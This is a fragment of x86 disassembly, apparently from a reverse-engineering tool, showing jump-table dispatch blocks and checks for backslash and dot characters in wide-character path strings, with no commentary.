lea ebx, [ebx + esi*2]
lea esi, [ebp + esi*2]
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x268]
mov ecx, dword [esp + 0x26c]
mov eax, dword [ecx + eax*4]
jmp eax
not al
movzx eax, al
and eax, 1
mov dword [esp + 0x138], eax
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x138]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df70
mov esi, ebp
add esi, 2
mov cx, word [ebp + 2]
xor eax, eax
test cx, cx
sete cl
mov dword [esp + 0x230], 0
mov edx, dword [esp + 0x234]
mov edi, dword [esp + 0x230]
mov edx, dword [edx + edi*4]
jmp edx
mov word [edi], 0x5c
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
add ebp, 4
mov eax, dword [esp + 0xd8]
mov ecx, dword [esp + 0xdc]
mov eax, dword [ecx + eax*4]
mov esi, ebp
jmp eax
mov dword [esp], ebp
mov dword [esp + 4], 0x5c
call fcn.0043b4c0
mov esi, eax
xor eax, eax
test esi, esi
sete al
mov dword [esp + 0x280], eax
mov eax, dword [esp + 0x284]
mov ecx, dword [esp + 0x280]
mov eax, dword [eax + ecx*4]
jmp eax
add ebx, 0xfffffffe
mov eax, dword [esp + 0x1c0]
mov ecx, dword [esp + 0x1c4]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [edi]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x158], ecx
mov eax, dword [esp + 0x15c]
mov ecx, dword [esp + 0x158]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040df70
mov eax, ebx
add eax, 0xfffffffe
mov dword [esp + 0x120], 0
mov ecx, dword [esp + 0x124]
mov edx, dword [esp + 0x120]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov ax, word [ebp + 4]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0xe8], ecx
mov eax, dword [esp + 0xec]
mov ecx, dword [esp + 0xe8]
mov eax, dword [eax + ecx*4]
jmp eax
mov cx, word [ebp]
xor edx, edx
sub cx, 0x2e
sete dl
mov dword [esp + 0x240], edx
mov ecx, dword [esp + 0x244]
mov edx, dword [esp + 0x240]
mov ecx, dword [ecx + edx*4]
jmp ecx